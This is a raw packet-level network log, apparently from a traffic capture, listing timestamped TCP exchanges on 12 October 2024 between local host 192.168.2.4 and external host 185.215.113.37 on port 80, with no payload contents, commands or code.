Oct 12, 2024 13:17:30.338445902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338445902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338471889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338505030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338512897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338512897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338538885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338552952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338572025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338579893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338606119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338614941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338639021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338648081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338675022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338706970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338710070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338710070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338742018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338774920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338783979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338783979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338812113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338845968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338854074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338854074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338881016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338887930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338915110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338949919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.338956118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.338956118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.339123964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.400687933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.400739908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.400774956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.400791883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.400791883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.400809050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.400842905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.400876045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.400893927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.400893927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.400909901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.400943995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.400957108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.400957108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.400979042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401010990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401025057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401025057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401046038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401079893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401098967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401098967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401113033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401139975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401148081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401195049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401195049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401206017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401237011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401272058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401284933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401284933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401324987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401386023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401438951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401449919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401494026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401498079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401530981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401559114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401586056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401587963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401639938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401645899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401676893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401710033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401743889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401752949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401752949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401776075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401809931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401813984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401813984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401844978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401855946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401879072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401913881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401925087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401926041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401947975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401982069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.401994944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.401995897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.402019024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.402055025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.402065992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.402065992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.402089119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.402122974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.402127981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.402127981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.402168036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.430835009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.430907011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.430926085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.430943012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.430978060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.430989981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.430989981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431014061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431047916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431054115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431054115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431081057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431101084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431133032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431153059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431186914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431205988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431221962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431257010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431267977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431267977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431292057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431325912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431339979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431339979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431359053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431396008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431396008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431425095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431457996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431480885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431494951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431529999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431540966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431540966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431564093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431581974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431597948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431632996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431644917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431644917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431668997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431704044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431715012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431715012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431739092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431772947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431785107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431785107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431803942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431839943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431850910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431850910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431874990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431895971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.431960106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.431996107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.432001114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.432032108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.432039022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.432039022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.432068110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.432090998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.432104111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.432141066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.432149887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.432149887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.432271957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.448473930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.448545933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.448581934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.448601007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.448601007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.448646069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.448705912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.448740005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.448745012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.448776007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.448792934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.448792934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.448811054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.448836088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.448844910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.448864937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.448878050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.448909044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.448910952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.448945999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.448960066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.448960066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.448981047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449006081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449014902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449049950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449058056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449058056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449085951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449120998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449135065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449135065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449155092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449189901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449203014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449203014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449224949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449258089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449269056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449269056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449290037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449323893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449331999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449331999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449357033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449392080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449398994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449398994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449425936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449434996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449460983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449501991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449512959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449512959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449537992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449572086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449584961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449584961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449606895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449640036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449645996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449687004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449687004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449687958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449723005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449747086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449755907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449790001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449800014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449800014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449825048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449858904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449872017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449872017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449892998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449925900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449939966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449939966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.449960947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.449996948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.450007915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.450007915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.450064898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495323896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495373964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495402098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495424986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495440960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495475054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495492935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495510101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495532990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495544910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495579958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495590925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495590925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495614052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495651007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495656013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495656013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495690107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495724916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495737076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495737076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495759964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495794058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495804071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495804071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495831013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495852947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495878935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495882988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495913982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495949030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.495960951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.495960951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496005058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496040106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496052980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496052980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496093035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496138096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496139050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496145964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496181011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496223927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496225119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496225119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496274948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496280909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496311903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496345997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496357918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496357918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496380091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496413946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496424913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496424913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496448994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496481895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496496916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496496916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496519089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496552944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496565104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496565104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496587992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496622086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496635914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496635914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496659040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496694088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.496711016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.496711016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.497246027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.524797916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525023937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.525298119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525381088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.525412083 CEST	49730	80	192.168.2.4	185.215.113.37
